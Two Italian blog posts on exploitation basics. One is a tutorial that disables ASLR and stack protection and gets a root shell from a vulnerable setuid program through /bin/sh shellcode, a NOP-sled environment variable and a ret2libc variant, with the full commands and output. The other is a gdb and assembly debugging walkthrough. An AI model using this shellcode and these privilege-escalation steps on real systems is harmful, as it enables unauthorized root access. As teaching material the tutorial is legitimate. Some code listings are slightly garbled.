Michele Manzotti » gdb

Le basi del BOF Buffer overflow

manzotti.eu — Thu, 01 Jul 2010 14:00:14 +0000

Rispolvero tra le bozze un vecchio post che avevo scritto secoli e secoli fa. Non so per quale diavolo di motivo non l’ho più pubblicato. Forse le migliaia di cose da fare hanno fatto si che me ne dimenticassi. Buona lettura…

Dopo l’articolo sulle basi dell’assembly e del debugging, vediamo in questo come implementare la tecnica del buffer overflow.

Senza perderci troppo sulla teoria che rimando a wikipedia, cerchiamo di sfruttare un codice vulnerabile per ottenere la shell di root.

Innanzitutto se utilizziamo un kernel superiore al 2.4 è necessario disattivare la randomizzazione dello stack:

# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

Per riabilitarlo invece:

root@bt:~# sysctl -w kernel.randomize_va_space=3

vuln.c

int main(int argc, char **argv){
          char buf[8];
          strcpy(buf, argv[1]);
          printf("Hello %s\n", buf);
}

Compiliamo:

# gcc -o vuln vuln.c -z execstack -fno-stack-protector -mpreferred-stack-boundary=2
vuln.c: In function ‘main’:
vuln.c:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
vuln.c:4: warning: incompatible implicit declaration of built-in function ‘printf’

Ricordiamoci di utilizzare le opzioni -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 per il kernel 2.6.x e settiamo il suid:

#chmod +s vuln

Procuriamoci uno shellcode da shellcode.org testiamo il suo funzionamento:

char main[] =
     "\xeb\x19\x5e\xb0\x46\x31\xdb\x31"
     "\xc9\xcd\x80\x31\xc0\xb0\x0b\x89"
     "\xf3\x31\xff\x57\x56\x89\xe1\x31"
     "\xd2\xcd\x80\xe8\xe2\xff\xff\xff"
     "/bin/sh";

Testiamo il suo corretto funzionamento:

root@bt:# gcc -o shellcode shellcode.c
root@bt:# ./shellcode
#

Bene ora possiamo esportare il tutto in una variabile d’ambiente aggiungendo anche del nop code.

user@bt$ export SH=`perl -e 'print "\x90"x64,"\xeb\x1d\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x4e\x08\x8d\x56\x0c\x89\xf3\xb0\x0b\xcd\x80\x40\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"'`

Ora non ci resta che individuare dove è localizzata la variabile d’ambiente appena creata.

get.c

int main(int argc, char *argv[])
{
          printf("The address of %s is %p\n",argv[1], getenv(argv[1]));
          return 0;
}

Compiliamo e cerchiamo l’indirizzo della variabile d’ambiente:

user@$ ./get SH
The address of SH is 0xbffffed4

Ora possimao lanciare l’exploit sull’indirizzo appena trovato:

user@bt$ ./get SH
The address of SH is 0xbffffed4
user@bt:/root/Downloads/BOF_hakin9$ ./vuln `perl -e 'print "\xd4\xfe\xff\xbf"x4'`
Hello ����������������
# whoami
root

Possiamo fare anche la stessa cosa senza utilizzare una variabile d’ambiente e shellcode, ma cercando il binario direttamente nella memoria.

find.c

#include 
#include 
#define BASE_ADDR    0xb7e7d000
int main(){
           char *ptr=BASE_ADDR;
           while(1){
                     if((strncmp(ptr,"/bin/sh",7))==0){
                                printf("%p : %s\n",ptr,ptr);
                                return 0;
                     }
                     ptr++;
           }
}

Compiliamo con le stesse opzioni adottatte per vuln.c

Analizziamo lo stack address:

user@bt$ gdb -q vuln
(gdb) b main
Breakpoint 1 at 0x80483fa
(gdb) run
Starting program: /vuln
 
Breakpoint 1, 0x080483fa in main ()
Current language:  auto; currently asm
(gdb) x/x system
0xb7ea7a90 :    0x890cec83
(gdb) q
The program is running.  Exit anyway? (y or n) y

Nel caso in cui avessimo uno stack dinamico, l’indirizzo 0xb7ea7a90 cambierebbe ogni volta.

Cerchiamo la nostra shell in memoria:

user@bt$ ./find
0xb7faab33 : /bin/sh

Bene ora non ci resta che lanciare l’exploit:

user@bt$ ./vuln `printf "aaaabbbbcccc\x90\x7a\xea\xb7aaaa\x33\xab\xfa\xb7"`
Hello aaaabbbbcccc�z��aaaa3���
# whoami
root

Questo articolo ha il solo scopo didattico, infatti con l’utilizzo di kernel aggiornati potrebbero verificarsi errori e/o Segmentation Fault.

Le basi dell'assembly e del debugging su unix

manzotti.eu — Sun, 22 Mar 2009 13:51:50 +0000

Con questo articolo diamo un’occhiata a quelle che sono le principali tecniche di debugging in ambito unix per capire meglio il funzionamento del linguaggio assembly.

Due sono i principali strumenti impiegati per questo genere di operazioni:
- Objdump è un tool che viene utilizzato per esaminare i file binari compilati
- Gdb è un debugger per seguire passo-passo il flusso dei programmi compilati

Tramite questi programmi è facile interrogare i registri presenti nella CPU per visualizzarne il contenuto e capire come viene allocata la memoria. Nel nostro esempio ho adottato una classica architettura Intel i386, presente nella maggior parte dei pc. In questo ambiente i principali registri con i quali la CPU lavora sono i seguenti:

EAX: accumulatore
ECX: contatore
EDX: dati
EBX: base
EIP: puntatore alla istruzione successiva
ESP: puntatore della fine dello stack
EBP: puntatore al frame corrente
SPF: riporta EBP al valore precedente
ESI: indice di origine
EDI: indice di destinazione

Per effettuare le interrogazioni adotteremo il comando x, che sta appunto per examine, specificando anche come visualizzare l’output del registro esaminato:

x/x = esamina in esadecimale
x/o = esamina in ottale
x/u = esamina in decimale senza segno
x/d = esamina in decimale
x/s = esamina in stringa
x/i = esamina un istruzione

Inoltre digitando un numero subito dopo lo slash è possibile specificare quanti byte interrogare. Ricordo che ogni lettera ASCII corrisponde ad un byte (ad esempio la lettera “A” corrisponde 0×41 scritto in esadecimale).

Analizziamo ora il nostro primo programma in C firstprog.c:

#include
int main()
{
  int i;
  for (i=0; i <; 10; i++)
  {
    printf("Hello, world!\n");
  }
  return 0;
}

Questo programma non fa altro che stampare 10 volte di seguito la stringa “Hello world”. Tale codice anche se risulta molto semplice e banale, è tuttavia utile a capire in prima battuta il funzionamento dell’assembly. Procediamo dunque con la compilazione:

# gcc -g firstprog.c -o firstprog

Ora che abbiamo l’eseguibile passiamo all’analisi con gdb:

# gdb -q ./firstprog
(gdb) set dis intel
(gdb) list
1       #include
2
3       int main()
4       {
5         int i;
6         for (i=0; i <; 10; i++)
7         {
8           printf("Hello, world!\n");
9         }
10        return 0;
(gdb)

Con l’opzione -q evitiamo di stampare banner inutili, mentre con l’opzione set dis intel abbiamo un output dell’assembly molto più leggibile.
Proseguiamo disassemblando il main e dando una prima occhiata alla locazione della memoria:

(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 :    lea    ecx,[esp+0x4]
0x080483c8 :    and    esp,0xfffffff0
0x080483cb :    push   DWORD PTR [ecx-0x4]
0x080483ce :   push   ebp
0x080483cf :   mov    ebp,esp
0x080483d1 :   push   ecx
0x080483d2 :   sub    esp,0x14
0x080483d5 :   mov    DWORD PTR [ebp-0x8],0x0
0x080483dc :   jmp    0x80483ee
0x080483de :   mov    DWORD PTR [esp],0x80484d0
0x080483e5 :   call   0x80482f4
0x080483ea :   add    DWORD PTR [ebp-0x8],0x1
0x080483ee :   cmp    DWORD PTR [ebp-0x8],0x9
0x080483f2 :   jle    0x80483de
0x080483f4 :   mov    eax,0x0
0x080483f9 :   add    esp,0x14
0x080483fc :   pop    ecx
0x080483fd :   pop    ebp
0x080483fe :   lea    esp,[ecx-0x4]
0x08048401 :   ret
End of assembler dump.

Questo output ci mostra la traduzione della funzione main del nostro programma in assembly. Ad un primo sguardo è possibile capire la sintassi: locazione della memoria in esadecimale: operatore registro destinazione, registro d’origine. Tuttavia in questo momento nessun registro risulta visualizzabile, proprio perchè ancora il programma non è stato effettivamente lanciato. Poniamo dunque break al main, lanciamo l’eseguibile e analizziamo i registri:

(gdb) break main:
Breakpoint 1 at 0x80483d5: file firstprog.c, line 6.
(gdb) run
Starting program: ./firstprog
 
Breakpoint 1, main () at firstprog.c:6
6         for (i=0; i <; 10; i++)
(gdb) i r
eax            0xbfe3fc04       -1075577852
ecx            0xbfe3fb80       -1075577984
edx            0x1      1
ebx            0xb800bff4       -1207910412
esp            0xbfe3fb50       0xbfe3fb50
ebp            0xbfe3fb68       0xbfe3fb68
esi            0x8048420        134513696
edi            0x8048310        134513424
eip            0x80483d5        0x80483d5
eflags         0x200286 [ PF SF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) i r eip
eip            0x80483d5        0x80483d5

In particolare analizziamo il registro l’eip, il quale punta alla prossima istruzione da eseguire, analizzando la memoria sulla quale sta puntando. Entrambi i comandi mostrano lo stesso output proprio perchè effettivamente stiamo effettuando la stessa richiesta.

(gdb) x/x 0x80483d5
0x80483d5 :    0x00f845c7
(gdb) x/x $eip
0x80483d5 :    0x00f845c7
(gdb) x/i $eip
0x80483d5 :    mov    DWORD PTR [ebp-0x8],0x0

Inoltre aggiugendo il numero 6 prima della i di instruction possiamo vedere le 6 successive istruzioni.

(gdb) x/6i $eip
0x80483d5 :    mov    DWORD PTR [ebp-0x8],0x0
0x80483dc :    jmp    0x80483ee
0x80483de :    mov    DWORD PTR [esp],0x80484d0
0x80483e5 :    call   0x80482f4
0x80483ea :    add    DWORD PTR [ebp-0x8],0x1
0x80483ee :    cmp    DWORD PTR [ebp-0x8],0x9

A questo punto si vede come al registro puntato di eip c’è una “DWORD PTR [ebp-0x8],0×0“. Tale operazione significa che il valore zero viene allocato alla locazione ebp – 8 ossia 0xbfff7d10 che al momento contiene 0xb7febf50:

(gdb) i r ebp
ebp            0xbfff7d18       0xbfff7d18
(gdb) x/x $ebp - 8
0xbfff7d10:     0xb7febf50

Nella successiva locazione di memoria, ossia all’indirizzo 0x80483dc è presente un salto incondizionato jmp alla locazione 0x80483ee. Verifichiamo, proseguendo di una istruzione nexti, che l’eip successivo sia proprio quello:

(gdb) nexti
0x080483dc      6         for (i=0; i <; 10; i++)
(gdb) i r eip
eip            0x80483dc        0x80483dc
(gdb) x/i $eip
0x80483dc :    jmp    0x80483ee

Infatti, ora l’eip contiene un salto incondizionato jmp.
Guardiamo adesso le successive 10 istruzioni:

(gdb) x/10i $eip
0x80483dc :    jmp    0x80483ee
0x80483de :    mov    DWORD PTR [esp],0x80484d0
0x80483e5 :    call   0x80482f4
0x80483ea :    add    DWORD PTR [ebp-0x8],0x1
0x80483ee :    cmp    DWORD PTR [ebp-0x8],0x9
0x80483f2 :    jle    0x80483de
0x80483f4 :    mov    eax,0x0
0x80483f9 :    add    esp,0x14
0x80483fc :    pop    ecx
0x80483fd :    pop    ebp

Da questo listato si vede non troppo facilmente per i newbe come viene effettuato il ciclo for.
Inizialmente viene fatto un salto incondizionato sulla locazione 0x80483ee, nella quale viene effettuata una compare cmp, la quale dice che se il il numero presente alla locazione ebp – 8, dove precedentemente era stato inizializzato 0, è minore o uguale di 9 allora esegue l’istruzione successiva jle che risulta essere apppunto un salto condizionato, proprio per via della compare, all’istruzione 0x80483de. Siccome risulta vera, 0 è minore o uguale di 9, rinizia il ciclo.

Nel momento in cui risulterà falsa, ossia ebp – 8 vale 10, allora non effettuerà il salto e continuerà con l’istruzione successiva.

Ora controlliamo proprio che ebp – 8 sia 0 e che quindi jle faccia il salto condizionato

(gdb) x/i $ebp - 8
0xbfff7d10:     add    BYTE PTR [eax],al
(gdb) x/x 0xbfff7d10
0xbfff7d10:     0x00000000
(gdb) x/d 0xbfff7d10
0xbfff7d10:     0
(gdb) print $ebp - 8
$2 = (void *) 0xbfff7d10
(gdb) x/x $2
0xbfff7d10:     0x00000000
(gdb) x/d $2
0xbfff7d10:     0

Sia con il metodo print che analizzando con x/x direttamente sulla locazione di memoria, che con x/d lo visualizziamo in decimale, controlliamo che ha valore 0 e che quindi il jle ha condizione positiva per effettuare il salto.

Ora invece cerchiamo di capire cosa fanno le altre operazioni. Analizzando la locazione 0x80483de è presente un’istruzione che essenzialmente muove il valore dell’indirizzo 0x80484d0 nell’indirizzo esp. Verifichiamo quindi cosa contiene l’indirizzo 0x80484d0:

(gdb) x/x 0x80484d0
0x80484d0:      0x6c6c6548
(gdb) x/6cb 0x80484d0
0x80484d0:      72 'H'  101 'e' 108 'l' 108 'l' 111 'o' 44 ','
(gdb) x/s 0x80484d0
0x80484d0:       "Hello, world!"

Notiamo che contiene il valore 0x6c6c6548 che codificato in ASCII corrisponde ad “Hello,” infatti tramite l’opzione c effettua la codifica di ogni singolo byte in ASCII mentre con s converte proprio tutta la stringa.

Per ultimo l’istruzione alla locazione 0x80483ea non fa altro che incrementare di uno il valore all’interno di ebp – 8, la quale poi viene poi controllata dal salto condizionato.

Giusto per completare il discorso, procediamo con diversi nexti fino alla fine del del ciclo for ossia quando l’ebp – 8 contiene il valore 10. Infine controlliamo che l’eip punta all’uscita del ciclo:

(gdb) x/d 0xbfff7d10
0xbfff7d10:     10
(gdb) i r eip
eip            0x80483ee        0x80483ee
(gdb) x/10i $eip
0x80483ee :    cmp    DWORD PTR [ebp-0x8],0x9
0x80483f2 :    jle    0x80483de
0x80483f4 :    mov    eax,0x0
0x80483f9 :    add    esp,0x14
0x80483fc :    pop    ecx
0x80483fd :    pop    ebp
0x80483fe :    lea    esp,[ecx-0x4]
0x8048401 :    ret
0x8048402:      nop
0x8048403:      nop
(gdb) nexti
0x080483f2      6         for (i=0; i <; 10; i++)
(gdb) i r eip
eip            0x80483f2        0x80483f2
(gdb) nexti
10        return 0;
(gdb) i r eip
eip            0x80483f4        0x80483f4

Possiamo vedere dall’output come appunto l’eip punta 0x80483f4 e non più 0x80483de come nei precedenti casi, confermando appunto l’uscita dal ciclo for.

Bene ora che abbiamo appreso i concetti base del debugging immaginate cosa potrebbe capitare se un attaccante riesca a sovrascrivere l‘eip facendolo puntare ad una locazione di memoria arbitraria a lui congeniale!

Buon degugging a tutti.